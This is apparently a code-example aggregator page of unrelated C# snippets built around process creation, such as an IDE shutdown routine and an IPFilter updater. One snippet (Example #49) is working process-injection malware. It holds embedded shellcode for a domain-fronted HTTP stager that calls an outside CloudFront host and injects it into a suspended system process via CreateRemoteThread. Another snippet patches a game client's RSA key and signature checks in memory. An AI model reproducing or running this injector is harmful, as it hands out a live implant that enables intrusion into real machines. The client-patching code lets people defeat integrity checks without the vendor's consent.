            // Run the main loop
            Gtk.Application.Invoke((s, e) => {
                MainLoop(options, startupInfo).Ignore();
            });
            Gtk.Application.Run();

            IdeApp.IsRunning = false;

            IdeApp.Customizer.OnIdeShutdown();

            instanceConnection.Dispose();

            lockupCheckRunning = false;
            Runtime.Shutdown();

            IdeApp.Customizer.OnCoreShutdown();

            InstrumentationService.Stop();

            MonoDevelop.Components.GtkWorkarounds.Terminate();

            return(0);
        }
Example #49
0
    public void flame(string binary, string shellcode32)
    {
        // Written by Vincent Yiu (@vysecurity)

        // shellcode contains base64 shellcode
        // binary contains binary to inject into

        //byte[] sc = Convert.FromBase64String(shellcode32);
        byte[] sc = new byte[841] {
            0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30, 0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85, 0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3, 0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x68, 0x6e, 0x65, 0x74, 0x00, 0x68, 0x77, 0x69, 0x6e, 0x69, 0x54, 0x68, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0x57, 0x57, 0x57, 0x57, 0x57, 0x68, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xe9, 0xa4, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xc9, 0x51, 0x51, 0x6a, 0x03, 0x51, 0x51, 0x68, 0xbb, 0x01, 0x00, 0x00, 0x53, 0x50, 0x68, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0x50, 0xe9, 0x8c, 0x00, 0x00, 0x00, 0x5b, 0x31, 0xd2, 0x52, 0x68, 0x00, 0x32, 0xa0, 0x84, 0x52, 0x52, 0x52, 0x53, 0x52, 0x50, 0x68, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x89, 0xc6, 0x83, 0xc3, 0x50, 0x68, 0x80, 0x33, 0x00, 0x00, 0x89, 0xe0, 0x6a, 0x04, 0x50, 0x6a, 0x1f, 0x56, 0x68, 0x75, 0x46, 0x9e, 0x86, 0xff, 0xd5, 0x5f, 0x31, 0xff, 0x57, 0x57, 0x6a, 0xff, 0x53, 0x56, 0x68, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x84, 0xca, 0x01, 0x00, 0x00, 0x31, 0xff, 0x85, 0xf6, 0x74, 0x04, 0x89, 0xf9, 0xeb, 0x09, 0x68, 0xaa, 0xc5, 0xe2, 0x5d, 0xff, 0xd5, 0x89, 0xc1, 0x68, 0x45, 0x21, 0x5e, 0x31, 0xff, 0xd5, 0x31, 0xff, 0x57, 0x6a, 0x07, 0x51, 0x56, 0x50, 0x68, 0xb7, 0x57, 0xe0, 0x0b, 0xff, 0xd5, 0xbf, 0x00, 0x2f, 0x00, 0x00, 0x39, 0xc7, 0x75, 0x07, 0x58, 0x50, 0xe9, 0x7b, 0xff, 0xff, 0xff, 0x31, 0xff, 0xe9, 0x91, 0x01, 0x00, 0x00, 0xe9, 0xc9, 0x01, 0x00, 0x00, 0xe8, 0x6f, 0xff, 0xff, 0xff, 0x2f, 0x5f, 0x69, 0x6e, 0x69, 0x74, 0x2e, 0x67, 0x69, 0x66, 0x3f, 0x75, 0x74, 0x6d, 0x63, 0x6e, 0x3d, 0x31, 0x26, 0x75, 0x74, 0x6d, 0x63, 0x73, 0x3d, 0x49, 0x53, 0x4f, 0x2d, 0x38, 0x38, 0x39, 0x39, 0x2d, 0x31, 0x26, 0x75, 0x74, 0x6d, 0x73, 0x72, 0x3d, 0x31, 0x32, 0x38, 0x30, 0x78, 0x31, 0x30, 0x32, 0x34, 0x26, 0x75, 0x74, 0x6d, 0x73, 0x63, 0x3d, 0x33, 0x32, 0x2d, 0x62, 0x69, 0x74, 0x26, 0x75, 0x74, 0x6d, 0x75, 0x6c, 0x3d, 0x65, 0x6e, 0x2d, 0x55, 0x53, 0x00, 0xb9, 0x90, 0x00, 0x48, 0x6f, 0x73, 0x74, 0x3a, 0x20, 0x64, 0x32, 0x6e, 0x78, 0x79, 0x34, 0x6a, 0x67, 0x62, 0x71, 0x63, 0x75, 0x6a, 0x6d, 0x2e, 0x63, 0x6c, 0x6f, 0x75, 0x64, 0x66, 0x72, 0x6f, 0x6e, 0x74, 0x2e, 0x6e, 0x65, 0x74, 0x0d, 0x0a, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x30, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x3b, 0x20, 0x42, 0x4f, 0x31, 0x49, 0x45, 0x38, 0x5f, 0x76, 0x31, 0x3b, 0x45, 0x4e, 0x55, 0x53, 0x29, 0x0d, 0x0a, 0x00, 0x43, 0x60, 0xcd, 0x0a, 0xe7, 0x58, 0x40, 0x49, 0x30, 0x40, 0x89, 0xa6, 0x41, 0x3d, 0x82, 0x02, 0x9d, 0x32, 0xe1, 0x97, 0xa6, 0x9d, 0xb1, 0xbe, 0x32, 0x62, 0x34, 0x5f, 0xaf, 0xf8, 0x62, 0x64, 0x9e, 0x64, 0xc6, 0x2d, 0xe3, 0x5d, 0xb7, 0xde, 0x73, 0x6f, 0x92, 0x71, 0x0c, 0x41, 0x49, 0x15, 0x42, 0xab, 0x62, 0x11, 0x42, 0xf9, 0x0e, 0xda, 0x3d, 0x99, 0xb0, 0x3d, 0xb3, 0xf3, 0x0a, 0x3f, 0x5d, 0x90, 0x0f, 0xda, 0xd5, 0xc5, 0x43, 0x21, 0xec, 0x97, 0x2a, 0xb8, 0x42, 0x5d, 0xbc, 0x54, 0x4b, 0x0d, 0xe5, 0x3a, 0xc0, 0x48, 0x9f, 0x88, 0x96, 0xc4, 0x10, 0xe4, 0xa6, 0x4a, 0xa6, 0x66, 0x7d, 0xe5, 0x5f, 0xe5, 0xb8, 0x67, 0xf8, 0xbc, 0x94, 0x8f, 0xa3, 0xee, 0x52, 0xf3, 0x65, 0xa1, 0x15, 0x63, 0x35, 0xdd, 0x4b, 0xbb, 0x72, 0xd1, 0xa3, 0xdc, 0xfc, 0x47, 0xdd, 0xec, 0xe4, 0x14, 0x1e, 0x50, 0x0e, 0x79, 0x74, 0x2e, 0xb1, 0x7f, 0xe5, 0xe9, 0x27, 0x21, 0xc4, 0xee, 0x3b, 0x2b, 0x60, 0xc0, 0x17, 0x99, 0x06, 0x71, 0x3e, 0x2d, 0x8d, 0x8f, 0xe5, 0x69, 0xd8, 0x6d, 0x3f, 0x4a, 0x9b, 0x2a, 0x53, 0xc9, 0xb6, 0x97, 0x55, 0x26, 0xdd, 0xc8, 0x12, 0xd8, 0x00, 0x68, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x6a, 0x40, 0x68, 0x00, 0x10, 0x00, 0x00, 0x68, 0x00, 0x00, 0x40, 0x00, 0x57, 0x68, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x93, 0xb9, 0x28, 0x00, 0x00, 0x00, 0x01, 0xd9, 0x51, 0x53, 0x89, 0xe7, 0x57, 0x68, 0x00, 0x20, 0x00, 0x00, 0x53, 0x56, 0x68, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x85, 0xc0, 0x74, 0xc6, 0x8b, 0x07, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xe5, 0x58, 0xc3, 0xe8, 0x89, 0xfd, 0xff, 0xff, 0x63, 0x64, 0x6e, 0x2e, 0x63, 0x6f, 0x69, 0x6e, 0x72, 0x61, 0x6e, 0x6b, 0x69, 0x6e, 0x67, 0x2e, 0x63, 0x6f, 0x6d, 0x00, 0x73, 0x7f, 0xb7, 0xcc
        };
        IntPtr      size  = new IntPtr(sc.Length);
        StartupInfo sInfo = new StartupInfo();

        sInfo.dwFlags = 0;
        ProcessInformation pInfo;
        string             binaryPath = "";

        // We check what architecture OS it is here

        if (Environment.GetEnvironmentVariable("ProgramW6432").Length > 0)
        {
            //64 bit
            binaryPath = Environment.GetEnvironmentVariable("windir") + "\\SysWOW64\\" + binary;
        }
        else
        {
            //32 bit
            binaryPath = Environment.GetEnvironmentVariable("windir") + "\\System32\\" + binary;
        }

        // We have select the correct directory, for the executeable

        // Create the Process in SUSPENDED state
        IntPtr funcAddr = CreateProcessA(binaryPath, null, null, null, true, CreateProcessFlags.CREATE_SUSPENDED, IntPtr.Zero, null, sInfo, out pInfo);
        IntPtr hProcess = pInfo.hProcess;

        if (hProcess.ToString() != IntPtr.Zero)
        {
            //MessageBox.Show("hProcess: " + hProcess.ToString("X8"));
            // Use VirtualAllocEx to create some space

            IntPtr spaceAddr = VirtualAllocEx(hProcess, new IntPtr(0), size, AllocationType.GO, MemoryProtection.EXECUTE_READWRITE);

            //MessageBox.Show("Virtual Alloc: " + spaceAddr.ToString("X8"));

            if (spaceAddr.ToString() == IntPtr.Zero)
            {
                // TerminateProcess incase failed to Valloc for some reason.
                TerminateProcess(hProcess, 0);
            }
            else
            {
                // Use WriteProcessMemory to WRITE "POKEMON" in
                int test = 0;

                IntPtr size2  = new IntPtr(sc.Length);
                bool   bWrite = WriteProcessMemory(hProcess, spaceAddr, sc, size2, test);

                //MessageBox.Show("WriteProcessMemory: " + bWrite.ToString());

                // CreateRemoteThread to start it up
                CreateRemoteThread(hProcess, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));
            }
        }


        //Process.Start(shellcode);
    }
 /* structs, enums, and external functions defined at end of code */
 public static System.Diagnostics.Process StartProcessInSession(int sessionID, String commandLine)
 {
     IntPtr userToken;
     if (WTSQueryUserToken(sessionID, out userToken))
     {
         //note that WTSQueryUserToken only works when in context of local system account with SE_TCB_NAME
         IntPtr lpEnvironment;
         if (CreateEnvironmentBlock(out lpEnvironment, userToken, false))
         {
             StartupInfo si = new StartupInfo();
             si.cb = Marshal.SizeOf(si);
             si.lpDesktop = "winsta0\\default";
             si.dwFlags = STARTF.STARTF_USESHOWWINDOW;
             si.wShowWindow = ShowWindow.SW_SHOW;
             ProcessInformation pi;
             //if (CreateProcessAsUser(userToken, null, new StringBuilder(commandLine), IntPtr.Zero, IntPtr.Zero, false, CreationFlags.DETACHED_PROCESS, lpEnvironment, null, ref si, out pi))
             if (CreateProcessAsUser(userToken, null, new StringBuilder(commandLine), IntPtr.Zero, IntPtr.Zero, false, CreationFlags.CREATE_NEW_CONSOLE | CreationFlags.CREATE_UNICODE_ENVIRONMENT, lpEnvironment, null, ref si, out pi))
             {
                 CloseHandle(pi.hThread);
                 CloseHandle(pi.hProcess);
                 //context.Undo();
                 try
                 {
                     return System.Diagnostics.Process.GetProcessById(pi.dwProcessId);
                 }
                 catch (ArgumentException e)
                 {
                     //The process ID couldn't be found - which is what always happens because it has closed
                     return null;
                 }
             }
             else
             {
                 int err = Marshal.GetLastWin32Error();
                 throw new System.ComponentModel.Win32Exception(err, "Could not create process.\nWin32 error: " + err.ToString());
             }
         }
         else
         {
             int err = Marshal.GetLastWin32Error();
             throw new System.ComponentModel.Win32Exception(err, "Could not create environment block.\nWin32 error: " + err.ToString());
         }
     }
     else
     {
         int err = System.Runtime.InteropServices.Marshal.GetLastWin32Error();
         if (err == 1008) return null; //There is no token
         throw new System.ComponentModel.Win32Exception(err, "Could not get the user token from session " + sessionID.ToString() + " - Error: " + err.ToString());
     }
 }
Example #51
0
        async Task CheckForUpdates()
        {
            try
            {
                // Remove any old ClickOnce installs
                try
                {
                    var uninstallInfo = UninstallInfo.Find("IPFilter Updater");
                    if (uninstallInfo != null)
                    {
                        Trace.TraceWarning("Old ClickOnce app installed! Trying to remove...");
                        var uninstaller = new Uninstaller();
                        uninstaller.Uninstall(uninstallInfo);
                        Trace.TraceInformation("Successfully removed ClickOnce app");
                    }
                }
                catch (Exception ex)
                {
                    Trace.TraceError("Failed to remove old ClickOnce app: " + ex);
                    telemetryClient?.TrackException(ex);
                }

                Trace.TraceInformation("Checking for software updates...");
                progress.Report(new ProgressModel(UpdateState.Downloading, "Checking for software updates...", -1));

                var updater = new Updater();

                var result = await updater.CheckForUpdateAsync();

                var currentVersion = new Version(Process.GetCurrentProcess().MainModule.FileVersionInfo.FileVersion);

                var latestVersion = new Version(result.Version);

                Update.IsUpdateAvailable = latestVersion > currentVersion;

                if (Update.IsUpdateAvailable)
                {
                    Update.AvailableVersion       = latestVersion;
                    Update.IsUpdateRequired       = true;
                    Update.MinimumRequiredVersion = latestVersion;
                    Update.UpdateSizeBytes        = 2000000;
                }

                Trace.TraceInformation("Current version: {0}", Update.CurrentVersion);
                Trace.TraceInformation("Available version: {0}", Update.AvailableVersion?.ToString() ?? "<no updates>");

                if (!Update.IsUpdateAvailable)
                {
                    return;
                }

                if (MessageBoxHelper.Show(dispatcher, "Update Available", MessageBoxButton.YesNo, MessageBoxImage.Question, MessageBoxResult.Yes,
                                          "An update to version {0} is available. Would you like to update now?", Update.AvailableVersion) != MessageBoxResult.Yes)
                {
                    return;
                }

                Trace.TraceInformation("Starting application update...");

                // If we're not "installed", then don't check for updates. This is so the
                // executable can be stand-alone. Stand-alone self-update to come later.
                using (var key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\IPFilter"))
                {
                    var installPath = (string)key?.GetValue("InstallPath");
                    if (installPath == null)
                    {
                        using (var process = new Process())
                        {
                            process.StartInfo = new ProcessStartInfo("https://davidmoore.github.io/ipfilter/")
                            {
                                UseShellExecute = true
                            };

                            process.Start();
                            return;
                        }
                    }
                }

                var msiPath = Path.Combine(Path.GetTempPath(), "IPFilter.msi");

                // Download the installer
                using (var handler = new WebRequestHandler())
                {
                    handler.AutomaticDecompression = DecompressionMethods.GZip | DecompressionMethods.Deflate;

                    var uri = new Uri($"{result.Uri}?{DateTime.Now.ToString("yyyyMMddHHmmss")}");

                    using (var httpClient = new HttpClient(handler))
                        using (var response = await httpClient.GetAsync(uri, HttpCompletionOption.ResponseHeadersRead, cancellationToken.Token))
                        {
                            if (cancellationToken.IsCancellationRequested)
                            {
                                progress.Report(new ProgressModel(UpdateState.Ready, "Update cancelled. Ready.", 100));
                                Update.IsUpdating = false;
                                return;
                            }

                            var    length          = response.Content.Headers.ContentLength;
                            double lengthInMb      = !length.HasValue ? -1 : (double)length.Value / 1024 / 1024;
                            double bytesDownloaded = 0;

                            using (var stream = await response.Content.ReadAsStreamAsync())
                                using (var msi = File.Open(msiPath, FileMode.Create, FileAccess.Write, FileShare.Read))
                                {
                                    var buffer = new byte[65535 * 4];

                                    int bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length, cancellationToken.Token);

                                    while (bytesRead != 0)
                                    {
                                        await msi.WriteAsync(buffer, 0, bytesRead, cancellationToken.Token);

                                        bytesDownloaded += bytesRead;

                                        if (length.HasValue)
                                        {
                                            double downloadedMegs = bytesDownloaded / 1024 / 1024;
                                            var    percent        = (int)Math.Floor((bytesDownloaded / length.Value) * 100);

                                            var status = string.Format(CultureInfo.CurrentUICulture, "Downloaded {0:F2} MB of {1:F2} MB", downloadedMegs, lengthInMb);

                                            Update.IsUpdating         = true;
                                            Update.DownloadPercentage = percent;
                                            progress.Report(new ProgressModel(UpdateState.Downloading, status, percent));
                                        }

                                        if (cancellationToken.IsCancellationRequested)
                                        {
                                            progress.Report(new ProgressModel(UpdateState.Ready, "Update cancelled. Ready.", 100));
                                            Update.IsUpdating = false;
                                            return;
                                        }

                                        bytesRead = await stream.ReadAsync(buffer, 0, buffer.Length, cancellationToken.Token);
                                    }
                                }
                        }
                }

                progress.Report(new ProgressModel(UpdateState.Ready, "Launching update...", 100));
                Update.IsUpdating = false;

                // Now run the installer
                var sb = new StringBuilder("msiexec.exe ");

                // Enable logging for the installer
                sb.AppendFormat(" /l*v \"{0}\"", Path.Combine(Path.GetTempPath(), "IPFilter.log"));

                sb.AppendFormat(" /i \"{0}\"", msiPath);

                //sb.Append(" /passive");

                ProcessInformation processInformation = new ProcessInformation();
                StartupInfo        startupInfo        = new StartupInfo();
                SecurityAttributes processSecurity    = new SecurityAttributes();
                SecurityAttributes threadSecurity     = new SecurityAttributes();
                processSecurity.nLength = Marshal.SizeOf(processSecurity);
                threadSecurity.nLength  = Marshal.SizeOf(threadSecurity);

                const int NormalPriorityClass = 0x0020;

                if (!ProcessManager.CreateProcess(null, sb, processSecurity,
                                                  threadSecurity, false, NormalPriorityClass,
                                                  IntPtr.Zero, null, startupInfo, processInformation))
                {
                    throw Marshal.GetExceptionForHR(Marshal.GetHRForLastWin32Error());
                }

                try
                {
                    //dispatcher.Invoke(DispatcherPriority.Normal, new Action(Application.Current.Shutdown));
                    Application.Current.Shutdown();
                }
                catch (Exception ex)
                {
                    Trace.TraceError("Exception when shutting down app for update: " + ex);
                    Update.ErrorMessage = "Couldn't shutdown the app to apply update.";
                    telemetryClient?.TrackException(ex);
                }
            }
            catch (Exception ex)
            {
                Trace.TraceWarning("Application update check failed: " + ex);
                telemetryClient?.TrackException(ex);
                telemetryClient?.Flush();
            }
            finally
            {
                progress.Report(new ProgressModel(UpdateState.Ready, "Ready", 0));
            }
        }
Example #52
0
 private RepositoryInstance()
 {
     _startupInfo = new StartupInfo { Starting = DateTime.Now };
 }
Example #53
0
        static void StartWindows()
        {
            Process process = null;

            try
            {
                var startupInfo = new StartupInfo();
                var processInfo = new ProcessInformation();

                // App info
                var curDir  = Directory.GetCurrentDirectory();
                var appPath = "";

                // Check for existing WoW binaries.
                if (File.Exists($"{ curDir}\\WoW-64.exe"))
                {
                    appPath = $"{curDir}\\WoW-64.exe";
                }
                else if (File.Exists($"{curDir}\\WoWT-64.exe"))
                {
                    appPath = $"{curDir}\\WoWT-64.exe";
                }
                else if (File.Exists($"{curDir}\\WoWB-64.exe"))
                {
                    appPath = $"{curDir}\\WoWB-64.exe";
                }

                if (!File.Exists(appPath))
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("Please copy the launcher to your WoW directory.");

                    WaitAndExit();
                }

                var baseDirectory = Path.GetDirectoryName(curDir);

                // Write the cert bundle.
                if (!File.Exists($"{curDir}/ca_bundle.txt.signed"))
                {
                    File.WriteAllBytes($"{curDir}/ca_bundle.txt.signed", Convert.FromBase64String(Patches.Common.CertBundleData));
                }

                Console.ForegroundColor = ConsoleColor.White;
                Console.WriteLine("Starting WoW client...");

                if (NativeWindows.CreateProcess(appPath, $"-console -console", IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, null, ref startupInfo, out processInfo))
                {
                    process = Process.GetProcessById((int)processInfo.ProcessId);

                    // Wait for process initialization.
                    while (process == null)
                    {
                        process = Process.GetProcessById((int)processInfo.ProcessId);
                    }

                    var memory = new Memory(process.Handle);

                    // Get RSA modulus offset from file.
                    var modulusOffset = File.ReadAllBytes(appPath).FindPattern(Patterns.Common.Modulus, memory.BaseAddress.ToInt64()).ToIntPtr();
                    var sectionOffset = memory.Read(modulusOffset, 0x2000).FindPattern(Patterns.Common.Modulus);

                    modulusOffset = (modulusOffset.ToInt64() + sectionOffset).ToIntPtr();

                    // Be sure that the modulus is written before the client is initialized.
                    while (memory.Read(modulusOffset, 1)[0] != Patches.Common.Modulus[0])
                    {
                        memory.Write(modulusOffset, Patches.Common.Modulus);
                    }

                    Memory.ResumeThreads(process);

                    var mbi = new MemoryBasicInformation();

                    // Wait for the memory region to be initialized.
                    while (NativeWindows.VirtualQueryEx(process.Handle, memory.BaseAddress, out mbi, mbi.Size) == 0 || mbi.RegionSize.ToInt32() <= 0x1000)
                    {
                    }

                    if (mbi.BaseAddress != IntPtr.Zero)
                    {
                        // Get the memory content.
                        var binary     = memory.Read(mbi.BaseAddress, mbi.RegionSize.ToInt32());
                        var initOffset = IntPtr.Zero;

                        // Search while not initialized.
                        while ((initOffset = binary.FindPattern(initPattern, memory.BaseAddress.ToInt64()).ToIntPtr()) == IntPtr.Zero)
                        {
                            binary = memory.Read(mbi.BaseAddress, mbi.RegionSize.ToInt32());
                        }

                        // Re-read the memory region for each pattern search.
                        var connectOffset    = memory.Read(mbi.BaseAddress, mbi.RegionSize.ToInt32()).FindPattern(connectPattern, memory.BaseAddress.ToInt64());
                        var certBundleOffset = memory.Read(mbi.BaseAddress, mbi.RegionSize.ToInt32()).FindPattern(certBundlePattern, memory.BaseAddress.ToInt64());
                        var signatureOffset  = memory.Read(mbi.BaseAddress, mbi.RegionSize.ToInt32()).FindPattern(signaturePattern, memory.BaseAddress.ToInt64());

                        if (initOffset == IntPtr.Zero || modulusOffset == IntPtr.Zero || connectOffset == 0 ||
                            certBundleOffset == 0 || signatureOffset == 0)
                        {
                            Console.WriteLine($"0x{initOffset.ToInt64():X}");
                            Console.WriteLine($"0x{modulusOffset.ToInt64():X}");
                            Console.WriteLine($"0x{connectOffset:X}");
                            Console.WriteLine($"0x{certBundleOffset:X}");
                            Console.WriteLine($"0x{signatureOffset:X}");

                            process.Dispose();
                            process.Kill();

                            WaitAndExit();
                        }

                        if (memory.RemapViewBase())
                        {
                            memory.Write(connectOffset, connectPatch);
                            memory.Write(certBundleOffset, certBundlePatch);
                            memory.Write(signatureOffset, signaturePatch);

                            Console.WriteLine("Done :) ");

                            Console.ForegroundColor = ConsoleColor.Green;
                            Console.WriteLine("You can login now.");

                            binary = null;

                            WaitAndExit();
                        }
                        else
                        {
                            binary = null;

                            Console.ForegroundColor = ConsoleColor.Red;
                            Console.WriteLine("Error while launching the client.");

                            process.Dispose();
                            process.Kill();

                            WaitAndExit();
                        }
                    }
                }
            }
            catch (Exception)
            {
                process?.Dispose();
                process?.Kill();

                WaitAndExit();
            }
        }